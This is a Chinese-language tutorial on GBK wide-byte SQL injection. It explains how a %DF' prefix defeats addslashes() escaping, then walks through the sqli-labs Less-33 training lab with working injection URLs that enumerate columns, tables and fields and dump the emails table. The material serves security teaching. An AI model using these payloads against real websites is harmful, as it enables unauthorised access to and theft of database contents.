SQL注入【宽字节注入】
SQL注入【宽字节注入】
原理
GBK编码是占用两个字节,ASCII编码是占用一个字节。
在PHP中的编码方式为GBK,在函数执行添加的是ASCII编码,在mysql中国默认字符集是GBK等宽字节字符集(GBK属于宽字符集中的一种),
而mysql中使用的默认的GBK编码方式是导致宽字节注入的根源。
- GBK 编码 两个字节表示一个字符
- ASCII 编码 一个字节表示一个字符
- MYSQL默认字节集是GBK等宽字节字符集
addslashes()函数
1 | addslashes ( string `$str` ) : string |
利用场景
如果网站使用了 addslashes()函数函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入
1 | %DF': |
URL编码
- %27———单引号
- %20———-空格
- %23———–#号
- %5c————\反斜杠
靶场Less-33
1、访问网站
2、当在id后面加上反斜杠时
反斜杠被进行了转义
3、输入单引号时
同样被进行了转义
4、输入%DF’时
网页进行了报错
5、加上注释符之后成功闭合
6、探测字段数
1 | http://192.168.168.129/sqli/Less-33/?id=2%df' order by 4-- qwe |
1 | http://192.168.168.129/sqli/Less-33/?id=2%df' order by 3-- qwe |
7、探测显示位
1 | http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,2,3-- qwe |
8、当前数据库和版本号
1 | http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),version()-- qwe |
9、爆表
1 | http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe |
10、爆字段数
爆emails表的字段,由于单引号不能用,这里可以使用子查询或者将emails转为16进制的方法。
emails对应的16进制为0x656d61696c73
1 | http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 -- qwe |
11、出数据
1 | http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,group_concat(id),group_concat(email_id) from emails -- qwe |
SQLMap跑宽字节注入
1 | 在已知存在宽字节注入的情况下,可使用sqlmap的参数: |
评论